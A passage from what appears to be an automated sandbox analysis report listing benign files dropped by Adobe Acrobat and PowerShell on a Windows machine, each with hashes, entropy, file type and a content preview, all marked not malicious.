SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJf21rPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOG+16Ukee9
MD5:	10D3F0144F322F9CD2FE44E752EF71F2
SHA1:	26C766CFA22C80AE2E60D2E56E8949A84C6873D2
SHA-256:	6A7D8D32A6AF52E6167ABB1A05C731DC1C496AF770B24BA3C6C80E623FE40C43
SHA-512:	0B77C5E28DB497ABAE68689AB5BFBB8A826AE740F8F7E216D0C7D2C4AA6147C4C683A9244F7AB2D9A68AD5D6E6F9D9226BCB03618DD993A5792A553FE7E15B40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665353434088375
Encrypted:	false
SSDEEP:	24:Yv6XdfJhD7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSkW:Yv4JhDLBgkDMUJUAh8cvMkW
MD5:	97C60444582A754E4814E8E0038B2325
SHA1:	2D1C0FE6BA96EF7EF266368C983F0DA9F71F3F09
SHA-256:	0F3D545F22EE3EECBC81F2550D746091AD45BE2A06D475D1B3CF21CF7664E290
SHA-512:	8FF4D2758CB7AE6E24185F8345A7C83D361B692CE6385B90A9E24AAB818AC7B001CC5E334AF36F61827308562D9A054E5FA48AE444B4CD0869CA7EE0313F2F76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.233044620368606
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJfshHHrPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGUUUkee9
MD5:	011686D96B94C782FBAB1D7B273F9148
SHA1:	B261B3CA7064B58C03B4063E8FB0564C34A64C37
SHA-256:	A00789EFDE69F863F90B48716BA2D5D1F0705DB767EA3DFAB3DFBE829C42E6E7
SHA-512:	1303367C5B0793483AE396DF67F7ED8D3B89A3D1F696BED4403241E61290B78FD08D0ED82915664A624579B17D922B8E7CFA9AE734D3AFCBCD6AEE697CA24BC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.245928662372928
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWaLZhLVun2vB3/dVlPIHAR0YD5cUoAvJTqgFCrPeUkwRe9:YvXKXFPZRA2vR/ZwHAXOGTq16Ukee9
MD5:	0E4AB52DBBAC9462C0C6B02D202364D8
SHA1:	0148C657C8BF6B47D0E75C9C2158858CFD340A45
SHA-256:	14A8F016B6A5B7C8CB0DA4F76346A2F461A28FB431A1031A016DE752C8821B0C
SHA-512:	2B9A5CD9359DE6E40B69BF418BBCE48B1FA50C831762BFDC875E578EE452CD3191EC903D6FBAFCAA44570B8CEE948CB00E44BFC95D96156B6604F49E09525484
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"236fe2f0-059a-4137-a4cf-c07ea1705589","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736693260089,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139593869879601
Encrypted:	false
SSDEEP:	24:YBsaFmaywia5iW/HIKv3cF9czguUjfGqvj0SgWjo2ljRx2LSKCBdgrM1TJLz5CiX:Y3wKv3c7/vOq7FEmP48SrkTJvH91
MD5:	57F5B4CEA0DFAAC8CF6DD292CEA0B967
SHA1:	50C12BEF24FA7E1D6C8519314AF6CDBA11070862
SHA-256:	42478062FFD5CA4415A900FFE049C9B48486FC587E8B1B6D2504EA0FDD595232
SHA-512:	023D2B5E565321D316768E2692FDA1AF599389D2048C99E2141AB587356B8037892DBA5A91727445CF487565989E7007724FF230CBFD88347723BE97DBFC460A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"625940a75c34447d6776b126406a4cf8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736515704000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"59dd22fbe7a2ed1b046b850f6ee88f41","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736515704000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"81a3a03bf06ce0fcd5b1dc958d1ac376","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736515704000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"40642916bd7640492b7b3927256c5bb6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736515704000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7bc3a7b9c53a2bc0bb61708bb5349c93","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736515704000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4ba027957349c8c8ae22653c88082b6b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3181792400697279
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe+StqVp9:TGufl2GL7ms9WR1CPmPbPah3ypilIJ
MD5:	B29BA6A92290702D131CD38729D7A8E6
SHA1:	AAB55698BD578A91959E3CB8FCF9CE0EB5B29E8A
SHA-256:	5C221A659730898AA9A7A7CC5EFDFB9403C09C7860F0C4E883776F480A09861B
SHA-512:	2E788529AFD6B52531ADA865FF11A63E2496CE19B7AF78B60B37F0B8337D0AF6ED62456ACB80BEC4E87896464E3DBA3600CB775D0BB81A7E14BF058C8582F57F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7800820260715469
Encrypted:	false
SSDEEP:	24:7+t2lhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe+S4qVpaVrScVr0In6qLhx/D:7MdWR1CPmPbPahOypilIHqFl2GL7ms5
MD5:	F08BC98C7A151A6280F0AEA579B742F6
SHA1:	55A93D3E3EC8897657305880244702690EB3B649
SHA-256:	0C117DE769FA4C940E47870F0EBF69B0F4DEA4289C285B8362EB9F6853B0688D
SHA-512:	3A3E10DD482A01DC761B80B9725A1800A2342B5820593EA55621C52C4FCA438052534AFB2964B5E8CE548B4CF1356A13346657584049BDA201FDEF2237F26210
Malicious:	false
Preview:	.... .c.....8.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgI9Vgk/Q3zBcsuQWyn3o5sbNYyu:6a6TZ44ADEI9Vgk/+zB+mNK
MD5:	5C1CE837BFA18FC78EAD98C84399C416
SHA1:	75CD0C1CE95775F28AC7CB3B2B2210B485AE4649
SHA-256:	6E641AB24C6629302B89B66FB7DD46A1B204A42CB0038087A146CE3774B519D2
SHA-512:	4BA70065C0C2F346F06D013689291B77D48310A1C179DE710A3640BB21B27024F94516A2E0F52ACAC7900F6EA9202B123937C6DE6DE42396E646695395C127FA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI4ca4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClJ:Qw946cPbiOxDlbYnuRK+bk
MD5:	334B0CE27DB8948BA7B0B18356956D1C
SHA1:	4B5AB561CF5ED801FA13A670949A8E98E02297C7
SHA-256:	926D40939DC8F2A891C70654E6EB78EFFC0D987E5FEFE7ED98C8A6D256C72BF2
SHA-512:	275B4E72D964F7682DE4E8F285998D60336E0B137DDF5591DF68A776BAEE5C18A4AE97E2689D466FC76FE67258C7959A239455DBF03B7AF86DF950ED7385153A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.2.8.:.2.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h5bdouvk.vp4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdn5qj2l.n2b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-28-19-355.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3558587748927815
Encrypted:	false
SSDEEP:	384:7X7eL7i48mtFw9mdr0C8sj0Qw1NHxQ49vo6+8Eb799Lrd8kkm/OCuzujmMOGOvvr:CQ/
MD5:	395FF821C55FADC805A6A0156F6AD4CF
SHA1:	B6DBF24C431202D7806B6B7FC2AF43475E19FA22
SHA-256:	5CF4950188CF2394E23626A0770BF28C8DA8DA6A961032ED3344C5620F8DBD4B
SHA-512:	E3B1B123F06C452CA42F2E12612687F9AEC33DD90D0F7331CA4BB3DA308AE82857CFE53A44C4A349F76CC5321AF85A9A34D9ED7C811A2DCFFF5975A806D15AE3
Malicious:	false
Preview:	SessionID=607ee433-6c3c-40ae-8022-9b7555cf64c3.1736515699381 Timestamp=2025-01-10T08:28:19:381-0500 ThreadID=7820 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=607ee433-6c3c-40ae-8022-9b7555cf64c3.1736515699381 Timestamp=2025-01-10T08:28:19:383-0500 ThreadID=7820 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=607ee433-6c3c-40ae-8022-9b7555cf64c3.1736515699381 Timestamp=2025-01-10T08:28:19:383-0500 ThreadID=7820 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=607ee433-6c3c-40ae-8022-9b7555cf64c3.1736515699381 Timestamp=2025-01-10T08:28:19:383-0500 ThreadID=7820 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=607ee433-6c3c-40ae-8022-9b7555cf64c3.1736515699381 Timestamp=2025-01-10T08:28:19:383-0500 ThreadID=7820 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4050037191399865
Encrypted:	false
SSDEEP:	384:ceo4+rsCwggUjkhUnZtVZzENuUF4VGQQd:pggUjkhUnZtVZzENuUF4VGv
MD5:	9410596F8AE89F600FAAAEBB958FF283
SHA1:	4BE50C45DF0A1380B28254AA0909ADF75071F936
SHA-256:	A2DBEB3059589A608866D4E3F0689C71E05D5A1DE4E7DD2504D392D9CAA3AB98
SHA-512:	5A115A197E9C191AB8D25F7488CFB19FB39F5F80CE351A6A54D8768C066767AFD0156FF510863BC65D4E006347B15BC262BD4FBF3E9B57A3DCCC7A1B18F83CD0
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\024c8807-abbb-43a2-b3fb-f44051cd11bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\38980fe3-2151-4124-a230-c1b5abc10880.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5e1afc01-c9b8-4ab3-8158-4088f8a31bac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a9c7e9c2-c539-4ff6-a67a-cbced297e108.tmp

Download File

